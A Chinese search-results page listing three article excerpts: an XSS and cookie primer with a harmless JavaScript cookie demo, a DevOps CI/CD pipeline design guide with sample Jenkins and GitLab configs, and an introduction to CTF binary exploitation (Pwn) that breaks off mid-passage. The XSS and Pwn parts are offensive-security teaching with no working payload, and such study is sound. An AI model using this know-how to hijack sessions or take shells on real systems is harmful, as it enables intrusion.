首页> 搜索结果页
"网站漏洞原理" 检索
共 1176 条结果
网络安全——XSS之被我们忽视的Cookie
1.1  XSS 跨站脚本攻击介绍跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style Sheet)CSS 区分开来,所以在安全领域跨站脚本攻击叫做 XSS(官方解释) XSS 攻击简介XSS 攻击通常指黑客通过往 Web 页面中插入恶意 Script 代码,当用户访问网页时恶意代码在用户的浏览器中被执行,从而劫持用户浏览器窃取用户信息。  1.2  XSS 跨站脚本攻击分类XSS 脚本分为下面三类 第一种类型:反射型 XSS反射型 XSS 又称之为非持久型 XSS,黑客需要通过诱使用户点击包含 XSS 攻击代码的恶意链接,然后用户浏览器执行恶意代码触发 XSS 漏洞。 第二种类型:存储型 XSS存储型 XSS 会把用户输入的数据存储在服务器端,这种 XSS 可以持久化,而且更加稳定。比如黑客写了一篇包含 XSS 恶意代码的博客文章,那么访问该博客的所有用户他们的浏览器中都会执行黑客构造的 XSS 恶意代码,通常这种攻击代码会以文本或数据库的方式保存在服务器端,所以称之为存储型 XSS。第三种类型:DOM 型 XSS(不常用)DOM 概述:HTML DOM 定义了访问和操作 HTML 文档的标准方法。DOM 将 HTML 文档表达为树结构。DOM 型 XSS 并不根据数据是否保存在服务器端来进行划分,从效果来看它属于反射性 XSS,但是因为形成原因比较特殊所以被单独作为一个分类,通过修改 DOM 节点形成的 XSS 攻击被称之为 DOM 型 XSS。1.3  Cookie 概述(1、Cookie 概述:Cookie 是一些数据,存储于你电脑上的文本文件中。当web服务器向浏览器发送web页面时,在连接关闭后,服务端不会记录用户的信息。Cookie的作用就是用于解决“如何记录客户端的用户信息":(1)、当用户访问web页面时,他的名字可以记录在cookie 中。(2)、在用户下一-次访问该页面时,可以在cookie 中读取用户访问记录里 Cookie以键值对形式存储,如下所示:username= Jack20当浏览器从服务器.上请求web页面时,属 于该页面的cookie 会被添加到该请求中。服务端通过这种方式来获取用户的信息。 (2、使用JavaScript 创建CookieJavaScript可以使用document.cookie属性来创建、读取、及删除cookie。例1: JavaScript中,创建cookie 如下所示:document.cookie= "username=Jack20"; 例2:你还可以为cookie 添加一个过期时间(以UTC或GMT时间)默认情况下,cookie 在浏览器关闭时删除:document.cookie= "username=Jack20; expires=Wed, 26 July 2028 12:00:00 GMT";(3、使用JavaScript读取Cookie在JavaScript中,可以使用以下代码来读取cookie: 4var x = document.cookie;注: document.cookie将以字符串的方式返回所有的cookie,类型格式: cookie1 =value;cookie2 =value; cookie3= value; (4、使用JavaScript 修改Cookie在JavaScript 中,修改cookie类似于创建cookie, 如下所示:document.cookie= "username= Jack; expires=Wed, 26 July 2028 12:00:00 GMT;path=/";旧的cookie 将被覆盖。 (5、Cookie字符串document.cookie属性看起来像一个普通的文本字符串,其实它不是。 (6、JavaScript Cookie 实例实验描述:在以下实例中,我们将创建 cookie 来存储访问者名称。首先,访问者访问 web 页面, 他将被要求填写自己的名字。该名字会存储在 cookie 中。访问者下一次访问页面时,他会看到一个欢迎的消息。 在 kali 打开终端(这里在虚拟机里装了Kali2020.2),先启动 apache 服务,然后新建 一个html 页面写入如下代码: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>js_cookie 实例</title> </head> <head> <script> function setCookie(cname, cvalue, exdays) { var d = new Date(); d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000)); var expires = "expires=" + d.toGMTString(); document.cookie = cname + "=" + cvalue + "; " + expires; } function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name) == 0) { return c.substring(name.length, c.length); } } return ""; } function checkCookie() { var user = getCookie("username"); if (user != "") { alert("欢迎 " + user + " 再次访问"); } else { user = prompt("请输入你的名字:", ""); if (user != "" && user != null) { setCookie("username", user, 30); } } } </script> </head> <body onload="checkCookie()"></body> </html>在本地浏览器测试一下: 第一次访问,服务器里没有任何Cookie数据,提示输入名字,输入Jack20,然后点击确定,然后再次刷新页面刷新后,自动登录并提示 欢迎 Jack20 再次访问。这是服务器里多了一条Cookie数据 原理分析:第一次访问的时候,检查 cookie 中是否有存储用户名,如果没有提示输入名字,如果有提示“欢迎 xxxx 再次访问”,如果 cookie 中没有存储用户名,输入名字点击确定后,名字将会被存储在 cookie 中,再次刷新页面的时候,将会从 cookie 中读取到名字,并在页面中弹出提示框显示“欢迎 xxxx 再次访问”。(7、Cookie的安全问题1.Cookie欺骗2.Flash的代码隐患所以,平时我们去访问一些来路不明的网站,在填写信息时一定要看清楚,防止重要信息泄露以上内容仅供学习研究使用,请勿用于非法用途。
文章
存储  ·  JavaScript  ·  前端开发  ·  安全  ·  网络安全  ·  Apache  ·  数据库
2022-11-07
DevOps流水线设计的最佳实践
谈到到DevOps,持续交付流水线是绕不开的一个话题,相对于其他实践,通过流水线来实现快速高质量的交付价值是相对能快速见效的,特别对于开发测试人员,能够获得实实在在的收益。很多文章介绍流水线,不管是jenkins,gitlab-ci, 流水线,还是drone, github action 流水线, 文章都很多,但是不管什么工具,流水线设计的思路是一致的。于此同时,在实践过程中,发现大家对流水像有些误区,不是一大堆流水线,就是一个流水线调一个超级复杂的脚本,各种硬编码和环境依赖,所以希望通过这篇文章能够给大家分享自己对于Pipeline流水线的设计心得体会。概念持续集成 (Continuous Integration,CI)持续集成(CI)是在源代码变更后自动检测、拉取、构建和(在大多数情况下)进行单元测试的过程对项目而言,持续集成(CI)的目标是确保开发人员新提交的变更是好的,不会发生break build; 并且最终的主干分支一直处于可发布的状态,对于开发人员而言,要求他们必须频繁地向主干提交代码,相应也可以即时得到问题的反馈。实时获取到相关错误的信息,以便快速地定位与解决问题显然这个过程可以大大地提高开发人员以及整个IT团队的工作效率,避免陷入好几天得不到好的“部署产出”,影响后续的测试和交付。持续交付 (Continuous Delivery,CD)持续交付在持续集成的基础上,将集成后的代码部署到更贴近真实运行环境的「预发布环境」(production-like environments)中。交付给质量团队或者用户,以供评审。如果评审通过,代码就进入生产阶段 持续交付并不是指软件每一个改动都要尽快部署到产品环境中,它指的是任何的代码修改都可以在任何时候实时部署。强调: 1、手动部署 2、有部署的能力,但不一定部署持续部署 (Continuous Deployment, CD)代码通过评审之后,自动部署到生产环境中。持续部署是持续交付的最高阶段。 强调 1、持续部署是自动的 2、持续部署是持续交付的最高阶段 3、持续交付表示的是一种能力,持续部署则是一种方式流水线的编排设计参考: https://docs.gitlab.com/ee/ci/pipelines/pipeline_architectures.html这里非常推荐以版本控制系统为源的构建流水线设计,从每一位开发人员提交代码即可对当前提交代码进行检查编译构建,尽快将错误反馈给每位提交人员。对于DevOps流水线,主要是由各类任务串联起来,而对于任务本身又分为两张类型,一种是自动化任务,一种是人工执行任务。具体如下:自动化任务:包括了代码静态检查,构建,打包,部署,单元测试,环境迁移,自定义脚本运行等。人工任务:人工任务主要包括了检查审核,打标签基线,组件包制作等类似工作。而通常我们看到的流水线基本都由上述两类任务组合编排而成,一个流水线可以是完全自动化执行,也可以中间加入了人工干预节点,在人工干预处理后再继续朝下执行。比如流水线中到了测试部署完成后,可以到测试环境人工验证环节,只有人工验证通过再流转到迁移发布到生产环境动作任务。DevOps流水线实际上和我们原来经常谈到的持续集成最佳实践是相当类似的,较大的一个差异点就在于引入了容器化技术来实现自动化部署和应用托管。至于在DevOps实践中,是否必须马上将项目切换到微服务架构框架模式,反而不是必须得。在整个DevOps流水线中,我们实际上强调个一个关键点在于“一套Docker镜像文件+多套环境配置+多套构建版本标签”做法。以确保我们最终构建和测试通过的版本就是我们部署到生产环境的版本。构建操作只有一次,而后面到测试环境,到UAT环境,到生产环境,都属于是镜像的环境迁移和部署。而不涉及到需要再次重新打包的问题。这个是持续集成,也是DevOps的基本要求。流水线任务的标准化/原子化今天谈DevOps流水线编排,主要是对流水线编排本身的灵活性进一步思考。构建操作:构建我们通常采用Maven进行自动化构建,构建完成输出一个或多个Jar包或War包。注意常规方式下构建完执行进行部署操作,部署操作一般就是将构建的结果拷贝到我们的测试环境服务器,同时对初始化脚本进行启动等。而在DevOps下,该操作会变成两个操作,即一个打包,一个部署。打包是将构建完成的内容制作为镜像,部署是将镜像部署到具体的资源池和指定集群。打包镜像操作:实际上即基于构建完成的部署包来生成镜像。该操作一般首先基于一个基础镜像文件基础上进行,在基础镜像文件上拷贝和写入具体的部署包文件,同时在启动相应的初始化脚本。那么首先要考虑构建操作和打包操作如何松耦合开,打包操作简单来就是就是一个镜像制作,需要的是构建操作产生的输出。我们可以对其输出和需要拷贝的内容在构建的时候进行约定。而打包任务则是一个标准化的镜像制作任务,我们需要考虑的仅仅是基于1)基于哪个基础镜像 2)中间件容器默认目录设置 3)初始化启动命令。即在实际的打包任务设计的时候,我们不会指定具体的部署包和部署文件,这个完全由编排的时候由上游输入。部署操作:部署操作相当更加简单,重点就是将镜像部署到哪个资源池,哪个集群节点,初始化的节点配置等。具体部署哪个镜像不要指定,而是由上游任务节点输入。任务节点间松耦合设计的意义这种松耦合设计才能够使流水线编排更加灵活。比如我们在进行了构建打包后,我们希望同时讲打包内容部署到开发环境和测试环境。那么则是打包动作完成后需要对接两个应用部署任务。这两个部署任务都依托上面的打包结果进行自动化部署,可以并行进行。对于测试环境部署完成后,我们需要进行测试人员手工验证测试,如果测试通过,我们打标签后希望能够直接发布到UAT环境。而这种操作我们也希望在一个流水线来设计和完成。这样我们更加容易在持续集成看板上看到整个版本构建和迁移的完整过程。如果这是在一个大流水线里面,那么对于UAT环境部署任务就需要一直去追溯流水线上的最近的一个打包任务节点,同时取该任务节点产生的输出来进行相应的环境部署操作。在谈DevOps的时候,一个重点就是和QA/QC的协同,因此在流水线编排的时候一定要考虑各类测试节点,包括静态代码检查,自动化的单元测试,人工的测试验证。同时最好基于持续集成实践,能够将测试过程和整个自动化构建过程紧密结合起来。简单来说,测试人员发现build1.0.0001版本4个bug并提交,那么在下次自动化构建完成并单元测试通过后,测试人员能够很清楚的看到哪些Bug已经修改并可以在新构建的版本进行验证。只有这样才能够形成闭环,整个流水线作业才能够更好的发挥协同作用。流水线中蕴含的工程实践流水线除了任务步骤的编排,更重要的核心是最佳工程实践的体现。过去传统的思维,自动化就是写个shell/python脚本批量执行,在DevOps/微服务时代,这一招太out了,每种工程实践的背后都有需要解决的问题,通过在流水线设计中注入最佳的工程实践,可以让流水线的价值最大化,也让流水线更高级不是嘛。版本控制 - 解决的问题:需求和代码的关系,版本变化的跟踪最优的分支策略 - 解决的问题:版本发布和团队协作,某些情况会和环境有关系代码静态扫描 - 解决的问题: 开发规范和安全的问题80%以上的单元测试覆盖率 - 解决的问题:代码功能质量的问题,让测试左移漏洞(Vulnerability)扫描 - 解决的问题:部署环境/产品安全的问题开源工具扫描 - 解决的问题:解决供应链安全问题,别忘了log4j制品(Artifact)版本控制 - 解决的问题:制品的版本控制,制品的晋级,某些情况下环境的回滚环境自动创建 - 解决的问题:解决的是构建/部署环境一致性的问题,开发测的好好的,测试一验证怎么不行啊,容器化/云原生让这个问题更好的解决不可变服务器(Immutable Server ) - 解决的问题: 可能不好理解,打个比方如果如果你的服务器挂了,或者某次配置更改了服务就起不来了,使用不可变基础设施的主要好处是部署的简单性、可靠性和一致性,服务器可以随时替换上线集成测试 性能测试每次提交都触发:构建、部署和自动化测试 - 解决的问题:快速失败,避免下游时间的浪费自动化变更请求 - 解决问题:某些场景下通过状态变更触发某些动作零停机发布 - 解决的问题:滚动/蓝绿/灰度发布等,用户无感知功能开关 - 解决的问题: 主干开发中,如果某个功能没开放完,就通过on/off某个特性来让稳定的功能上线;还有一个场景,比如某些面对消费者的广告网站,想看看自己某个功能客户是否细化,通过功能开关看看市场反馈,一般和A/B测试配合基于场景设计流水线是否需要一条完整的流水线?流水线是越多越好,还是越少越好?建议按照场景来设计,一条流水线通吃所有流程是不现实的,搞了好多流水线(比如一个构建就一个流水线,一个复制操作就一个流水线)这些都是不可取的,维护成本巨大,得不偿失。流水线按照场景分类如下:端到端自动化流水线需求、代码构建、测试、部署环境内嵌自动化能力,每次提交都触发完整流水线提交阶段流水线(个人级)、验收阶段流水线(团队级)、部署阶段流水线(部署/发布)流水线自动化触发,递次自动化(制品)晋级;流水线任务按需串行、并行、特殊场景下跳过执行必要环节人工干预, e.g. 在手工测试、正式发布等环节导入手工确认环节,流水线牵引流动1)提交流水线代码提交到特性分支之后,自动会触发提交阶段流水线,主要用于基本的编译和测试,代码规约检查等,给与研发快速反馈,每个环节都可以通过Jenkins的界面获取日志和反馈信息。如果这个环节出现问题会在第一时间反馈出来,帮助研发及时修复,避免代码合入后阻塞主线分支。过程如下:提交即构建编译单测打包代码质量检查构建错误第一时间通知提交人以Jenkins实现为例,通过webhook触发CI构建,首先配置Jenkins项目使用generic webhook方式触发项目构建配置构建触发器参数(获取gitlab返回的数据,比如分支、用户等信息)配置构建触发器中的token(确保唯一,建议可以用项目名称)配置触发器中的请求过滤(merge_request,opend)其次是Gitlab的配置项目-》集成-》新建webhook填写webhook地址?token=projectNameMergeRequest操作触发剩下的就是编写Jenkinsfile了,下面列出几个关键点 1.获取gitlab数据中的分支名称,作为本次构建的分支名称。 2.获取gitlab数据中的用户邮箱,作为构建失败后通知对象。2)MR流水线过程如下:codereview配置分支保护创建合并请求对将代码审查结果在评论区展现由assignUser合并代码合并流水线设计:合并流水线的步骤其实跟提交流水线很类似,但是在代码质量检查的步骤中严格要求检查质量阈的状态,当质量阈状态为错误的时候,需要立即失败并通知发起人。第一次设计开发人员创建MR并指定AssignUser。CI工具开始对MR中的源分支进行编译构建打包代码检查。构建成功(代码质量没问题)在MR页面评论提示信息。构建失败在MR页面评论失败信息第二次设计(借助GitlabCI)- 优化点:加入MR构建失败拦截,成功自动合并项目配置当流水线成功时才能merge。开发人员创建MR并指定AssignUser。Jenkins开始对MR中的源分支的最后一次commit状态改为running。然后进行编译构建打包代码检查。构建成功,更新最后一次commit的状态为 success。构建失败,更新最后一次commit的状态为faild。3)SQL发布流水线除了代码有版本,其实SQL也有“版本的”,SQL脚本的版本对于产品的升级回滚至关重要。一般对SQL的集成,会包含如下要素构建环节,对SQL语法进行检查,避免打进包里语法是错的;某些情况下,多个开发会写不同的增量脚本,最后发布时候需要做脚本的合并SQL脚本的版本,某些情况下产品自身要用表来记录自身业务脚本的版本,通过产品版本来判断某些脚本是否应该被执行。当然,也有其他数据库版本管理工具,比如 flyway 和 liquibase;Flyway是独立于数据库的应用、管理并跟踪数据库变更的数据库版本管理工具。用通俗的话讲,Flyway可以像Git管理不同人的代码那样,管理不同人的sql脚本,从而做到数据库同步。liquibase 只是在功能上和Flyway有差异不管怎么样,它们底层的原理都是用另外的表记录SQL脚本的版本,升级更新是比较版本差异,来决定是否执行。python自带的model模块 python manage.py makemigrations 同样在做类似 的事情数据库版本管理最佳实践的载体-持续交付平台一个良好的持续交付平台应该具备什么能力?1. 自服务能力自服务能力是判断持续交付平台到底是不是完善的一个核心要素,即你可以依赖于我的平台,但是你不能依赖于我这个人。如果提供了一个持续交付平台,还依赖于人去做很多工作,这就没有做到自服务2.独立组合持续交付平台里很多功能可以独立使用,比如自动化测试,他是一个能力的集合,而能力之间没有强烈的耦合和依赖,是可以独立组合的。3.弱约束很多公司去设计持续交付平台的时候是强约束的,强约束即上线交付必须经过构建、测试、部署三个步骤,缺一不可,听起来很美,但实际上不同的项目类型,这样的流程和开发模式并不是满足实际需求。在这一点来说,我们的系统不要设计强约束的研发流程系统,而是提供一种能力,让大家可以自定义流程。4.快速上手对于内部产品来说,我们总觉得够用就行,而现在越来越强调产品化思路。之前有人说,我费了好大劲做的平台别人不用怎么办?只能说说你这个平台做得不够好。如果你提供一个平台可以解决问题,他还不想用,肯定有很多原因在里面,其中之一就是系统不能满足他的需求,用起来比不用还麻烦,那么这个系统设计之初就没有以用户思路来做事。5.内建实践通过平台内建很多实践,比如快速反馈。之前有人说,我建立流水线了,要紧急上线的话就走一个领导特批流程,或者快速上线流程,这就是设计流水线的时候还要给你一个口,领导一审批就绕过所有测试直达上线,这就违背了很多最佳实践。你用流水线的前提是梳理整个价值流,而且大家认可这个最佳实践,这是非常重要的。6.插件市场现在很多公司平台多了一个入口,叫Marketplace,像Github就有Marketplace,为什么会有插件市场?它就是提供一种可扩展能力,并且成为了一个生态系统。举个例子,我们之前要做针对JS的自动化测试,而流水线不具备这样的能力,但是某个做JS的团队自己有一个工具,我们可以把他作为一个插件集成到系统里,它就成为了系统的贡献者,而不只是一个用户。研发跟我们的关系从以前我提供服务,他来使用的关系,变成大家一起提供服务的关系。当持续交付平台做到足够成熟的时候,要考虑如何设计插件市场的能力。7.原生安全(DevSecOps)对很多公司来说,安全是第一红线,如果没有通过流水线去约束上线流程,怎么保证经过安全扫描呢?只有通过流水线,才能把安全机制和能力固定化到流水线里。流水线的关键元素不管你用什么CI/CD平台,开源的Jenkins, GitLab CI, Teckton, Drone,还是商用的Azure,阿里云效等,不管是代码化,还是可视化,流水线包含的元素基本都差不多,下面通过不同的示例来说明这些元素的作用和含义。参考:https://docs.gitlab.com/ee/ci/pipelines/https://learn.microsoft.com/en-us/azure/devops/pipelines/get-started/key-pipelines-concepts?view=azure-devopshttps://www.jenkins.io/doc/book/pipeline/Agent&Runner(执行代理)image: "registry.example.com/my/image:latest" #gitlab-cipool:  vmImage: ubuntu-latest  #auzureagent { label 'linux' }  //jenkinsagent {    docker {       image 'maven:3-alpine'       label 'Ubuntu'       args '-v /root/.m2:/root/.m2'    }}Parameter(参数变量)流水线级别参数 (全局参数),范围限于整个流水线运行时,可被整个流水线其他任务使用内置全局参数 - 一般称为built-in(预定义) variable, 有的平台成为环境变量export CI_JOB_ID="50"export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"export CI_COMMIT_SHORT_SHA="1ecfd275"export CI_COMMIT_REF_NAME="main"export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"1. BUILD_ID : 当前build的id2. BUILD_NUM : 当前build的在pipeline中的build num3. PIPELINE_NAME : pipeline 名称4. PIPELINE_ID: pipeline Id5. GROUP: pipeline 所属的group 名称6. TRIGGER_USER: 触发build的user(event触发的为触发gitlab event的user)7. STAGE_NAME: 当前运行的stage的名称8. STAGE_DISPLAY_NAME : 当前运行的stage的显示名称9. PIPELINE_URL : pipeline在ui中的网页的链接10. BUILD_URL: build 在ui的网页链接11. WORKSPACE: 当前stage运行的工作目录,通常用作拼接绝对路径非内置全局参数 environment {                 HARBOR_ACCESS_KEY = credentials('harbor-userpwd-pair')             SERVER_ACCESS_KEY = credentials('deploy-userpwd-pair')              GITLAB_API_TOKEN = credentials('gitlab_api_token_secret')           }外部参数 - 一般作为运行时参数variables:  TEST_SUITE:    description: "The test suite that will run. Valid options are: 'default', 'short', 'full'."    value: "default"  DEPLOY_ENVIRONMENT:    description: "Select the deployment target. Valid options are: 'canary', 'staging', 'production', or a stable branch of your choice."parameters([         separator(name: "PROJECT_PARAMETERS", sectionHeader: "Project Parameters"),        string(name: 'PROJECT_NAME', defaultValue: 'vue-app', description: '项目名称') ,        string(name: 'GIT_URL', defaultValue: 'git@git.xxxx.com.cn:devopsing/vuejs-docker.git', description: 'Git仓库URL') ,])步骤任务参数 (局部参数) - 一般作为某个插件任务的输入参数,也可以使用上个任务的输出作为参数,范围仅限于该任务内加密变量 - 对特殊变量进行加密处理secrets:  DATABASE_PASSWORD:    vault: production/db/password@ops  # translates to secret `ops/data/production/db`, field `password`Step(步骤)参考: https://docs.drone.io/pipeline/overview/---kind: pipelinetype: dockername: defaultsteps:- name: backend  image: golang  commands:  - go build  - go test- name: frontend  image: node  commands:  - npm install  - npm run test...Stage(阶段)一般用于对多个任务(step)进行分组归类,便于管理 stage('Pull code') {            steps {                echo 'Pull code...'                script {                    git branch: '${Branch_Or_Tags}', credentialsId: 'gitlab-private-key', url: 'git@git.xxxx.com.cn:xxxx/platform-frontend.git'                }            }}Trigger(触发器)trigger:- master- releases/*trigger_pipeline:stage: deployscript:- 'curl --fail --request POST --form token=$MY_TRIGGER_TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/123456/trigger/pipeline"'rules:- if: $CI_COMMIT_TAGenvironment: productiontrigger:  event:  - promote  target:  - productiontrigger:   type: cron   cron: '*/5 * * * *' #每5分钟执行一次制品归档&缓存 (artifacts&cache)一般用于CI制品的归档,以及CI构建的缓存archiveArtifacts artifacts: 'target/*.jar', fingerprint: truejob:  artifacts:    name: "$CI_JOB_NAME"    paths:      - binaries/cache: &global_cache  key: $CI_COMMIT_REF_SLUG  paths:    - node_modules/    - public/    - vendor/  policy: pull-push集成凭证(Credentials)参考:https://www.cnblogs.com/FLY_DREAM/p/13888423.htmlhttps://www.jenkins.io/doc/book/pipeline/jenkinsfile/#handling-credentials主要用于CI/CD流水线对接外部工具,通过token/pwd/private key等方式连接外部服务。一般需要在界面做些提前配置,生成token 或者凭证ID,将ID在CI/CD yaml 或jenkinsfile中使用withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD')]) {// available as an env variable, but will be masked if you try to print it out any which way// note: single quotes prevent Groovy interpolation; expansion is by Bourne Shell, which is what you wantsh 'echo $PASSWORD'// also available as a Groovy variableecho USERNAME// or inside double quotes for string interpolationecho "username is $USERNAME"}Service(服务)该元素应用于一些复杂的场景,比如需要一种外部(公共)服务为流水线提供某种输入或者结果。您可以将相互依赖的服务用于复杂的作业,例如端到端测试,其中外部API需要与自己的数据库通信。 例如,对于使用API的前端应用程序的端到端测试,并且API需要数据库:end-to-end-tests:  image: node:latest  services:    - name: selenium/standalone-firefox:${FIREFOX_VERSION}      alias: firefox    - name: registry.gitlab.com/organization/private-api:latest      alias: backend-api    - postgres:14.3  variables:    FF_NETWORK_PER_BUILD: 1    POSTGRES_PASSWORD: supersecretpassword    BACKEND_POSTGRES_HOST: postgres  script:    - npm install    - npm test模板(Template)参考: https://docs.drone.io/template/yaml/某些平台会使用“模板“的概念,其实就是复用的思想,通过加载固定模板实现一些快捷动作kind: templateload: plugin.yamldata:  name: name  image: image  commands: commandskind: pipelinetype: dockername: defaultsteps:   - name: {{ .input.name }}     image: {{ .input.image }}     commands:        - {{ .input.commands }}执行逻辑控制参考: https://docs.gitlab.com/ee/ci/pipelines/pipeline_architectures.htmlstage('run-parallel') {  steps {    parallel(      a: {        echo "task 1"      },      b: {        echo "task 2"      }    )  }}stage('Build') {            when {                environment name: 'ACTION_TYPE', value: 'CI&CD'            }            steps {                                buildDocker("vue")                                       } }stages:  - build  - test  - deployimage: alpinebuild_a:  stage: build  script:    - echo "This job builds something quickly."build_b:  stage: build  script:    - echo "This job builds something else slowly."test_a:  stage: test  needs: [build_a]  script:    - echo "This test job will start as soon as build_a finishes."    - echo "It will not wait for build_b, or other jobs in the build stage, to finish."test_b:  stage: test  needs: [build_b]  script:    - echo "This test job will start as soon as build_b finishes."    - echo "It will not wait for other jobs in the build stage to finish."deploy_a:  stage: deploy  needs: [test_a]  script:    - echo "Since build_a and test_a run quickly, this deploy job can run much earlier."    - echo "It does not need to wait for build_b or test_b."  environment: productiondeploy_b:  stage: deploy  needs: [test_b]  script:    - echo "Since build_b and test_b run slowly, this deploy job will run much later."  environment: production门禁审批参考:https://learn.microsoft.com/en-us/azure/devops/pipelines/release/deploy-using-approvals?view=azure-devopspipeline {    agent any    stages {        stage('Example') {            input {                message "Should we continue?"                ok "Yes, we should."                submitter "alice,bob"                parameters {                    string(name: 'PERSON', defaultValue: 'Mr Jenkins', description: 'Who should I say hello to?')                }            }            steps {                echo "Hello, ${PERSON}, nice to meet you."            }        }    }}pool:    vmImage: ubuntu-latestjobs:- job: waitForValidation  displayName: Wait for external validation    pool: server      timeoutInMinutes: 4320 # job times out in 3 days  steps:      - task: ManualValidation@0     timeoutInMinutes: 1440 # task times out in 1 day     inputs:         notifyUsers: |            someone@example.com         instructions: 'Please validate the build configuration and resume'         onTimeout: 'resume'部署流水线分步骤实施说了这么多,如果从0开始写流水线呢,可以按照下面的步骤,从“点”到“线”结合业务需要串起来,适合自己团队协作开发节奏的流水线才是最好的。对价值流进行建模并创建简单的可工作流程将构建和部署流程自动化将单元测试和代码分析自动化将验收测试自动化将发布自动化注意的事项开始写流水线需要注意一下几个方面,请考虑进去确定变量 - 哪些是你每次构建或者部署需要变化的,比如构建参数,代码地址,分支名称,安装版本,部署机器IP等,控制变化的,这样保证任务的可复制性,不要写很多hardcode进去变量/命名的规范化,不要为了一时之快,最后换个机器/换个项目,流水线就不能玩了,还要再改如果可以,最好是封装标准动作成为插件,甚至做成自研平台服务化,让更多团队受益如果你还在用手动的方式配置流水线,请尽快切换到代码方式,不管是jenkinsfile,还是yaml , 一切皆代码 也是DevOps提倡的。流水线案例案例-1案例-2
文章
SQL  ·  安全  ·  Devops  ·  jenkins  ·  测试技术  ·  持续交付  ·  API  ·  数据库  ·  Docker  ·  容器
2023-03-12
Pwn 二进制漏洞审计
 PWN的另一个名字是二进制漏洞审计编辑Pwn和逆向工程一样,是操作底层二进制的,web则是在php层面进行渗透测试我是从re开始接触CTF的,有一点二进制基础,本文可能会忽略一些基础知识的补充”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。Pwn在CTF竞赛是体现技术实力的关键部分,也是最难的部分。下面讲解一下Pwn有关的知识                        ——Your computer,my access!Pwn的目的最终目的:获得一个shellShell是系统的用户界面,提供了用户与内核进行交互操作的                                                                                                                                                                                                                                                                   一种接口。它接收用户输入的命令并把它送入内核去执行。实际上Shell是一个命令解释器,它解释由用户输入的命令并且把它们送到内核。编辑获得一个shell意味着获取了一个服务器的控制台,我们就可以随心所欲地操作服务器中的数据。基础知识需要有一点Linux的基础linux基础命令vim文件gcc使用gdb的使用课程推荐MIT的CS计算机操作环境导论也可以跟着acwing的yxc学习Linux基础课程序的编译和链接这里涉及到Linux的一些命令和工具编译过程编译->汇编->链接file命令可以查看文件类型gcc使用的vim查看底层二进制在vim中查看底二进制,在命令行中输入:%!xxd还原为字符文件 %!xxd -rgcc直接编译gcc 要编译的文件逐步使用gcc编译gcc -S 源代码文件 得到汇编文件gcc 汇编语言文件 得到可执行文件./可执行文件 可以执行可执行文件可执行文件Windows:PE可执行程序exe动态链接库dll静态链接库libLinux:ELF可执行程序out动态链接库so静态链接库a需要对PE文件和ELF文件有一定的了解,这类资源可以自行搜索解决堆栈这里讲解一下汇编语言的堆栈机制,读完不能很好理解的读者可以自行学习汇编语言,但是读完本博客的内容做一个抽象性的理解其实也足够了下面是我的两篇关于汇编语言基础的blog:汇编语言学习 上汇编语言学习 下堆栈数据结构堆栈数据结构就是我们数据结构课中学到的栈编辑 栈顶添加新元素,删除元素在栈顶删除后进去先出FILO本文要讲的是运行时堆栈运行时堆栈运行时堆栈是内存数组,程序的数据存放在内存上,运行时用抽象数据结构中栈的形式来处理数据ESP寄存器ESP寄存器(extended stack pointer,扩展堆栈指针)可以理解为抽象数据结构栈中指向栈顶的指针存放某个位置的32位偏移量基本上不会被程序员修改用CALL,RET,PUSH,POP指令间接修改入栈操作32位入栈操作是把栈顶指针减4,再将数值复制到栈顶指针指向的位置编辑运行时堆栈在内存中是向下生长的,从高地址向低地址扩展出栈操作从堆栈删除元素,站定指针减小下面介绍一些汇编指令PUSH指令首先减少ESP的值,将操作数复制到堆栈POP指令将ESP指向的堆栈元素复制到一个操作数当中,增加ESP的值PUSHFD指令将32位EFLAGS寄存器的内容压入堆栈POPFD指令将栈顶元素弹出到32位EFLAGS寄存器PUSHAD指令按照EAX,ECX,EDX,EBX,ESP,EBP,ESI,EBI的顺序将所有32位通用寄存器压入堆栈POPAD指令按照与PUSHAD相反的顺序将其弹出堆栈堆栈帧堆栈参数堆栈帧是一块堆栈保留区域存放被传递的实际参数子程序的返回值局部变量被保存的寄存器创建步骤将被传递的实际参数压入堆栈当子程序被调用时,该子程序的返回值压入堆栈子程序开始执行的时候,EBP被压入堆栈设置EBP等于ESP,EBP成为子程序所有参数的引用基址如果有局部变量,修改ESP在堆栈中为其预留空间需要保留的寄存器,将它们压入堆栈Fastcall调用方式顾名思义,是一种希望快速的调用方式我们来分析一下这个调用方式: 调用自过程的时候,需要首先将参数传入EAX,EBX,ECX,EDX,少数情况还会传入ESI,EDI我们知道寄存器是CPU内部的原件,堆栈在内存上,寄存器调用明显更快但是我们知道通用寄存器很少,很多都有特定的功能,乘法需要用到EAX,还有许多寄存器用来循环数值和参与计算的操作数因此寄存器不可能一直存放传递给过程的参数在过程调用之前, 存放参数的寄存器需要首先入栈,然后向其分配过程参数但是这些额外的入栈操作会让代码变得混乱,还有可能消除性能优势值传递一个参数通过数值传递时,该值的副本会被压入堆栈.data val1 DWORD 3 val2 DWORD 6 .code push val2 push val1 call AddTwo引用传递通过引用来传递的参数包含的是对象的地址push OFFSET val2 push OFFSET val1传递数组将数组的地址压入堆栈 不愿意采用将每个数组元素压入堆栈的原因是这样很慢而且浪费堆栈空间访问堆栈的参数1.将传递的参数压入堆栈,调用子过程2.EBP寄存器存放的是原来栈帧的基址,我们需要现将EBP压入栈保存3.然后将当前的ESP作为新的栈帧的基址示例int AddTwo(int x,int y) { return x+y; }将EBP入栈,设置ebp位esp的值AddTwo PROC push ebp mov ebp,espADD(5,6) 6 [EBP+12]5[EBP+8]返回地址[EBP+4]EBPmov 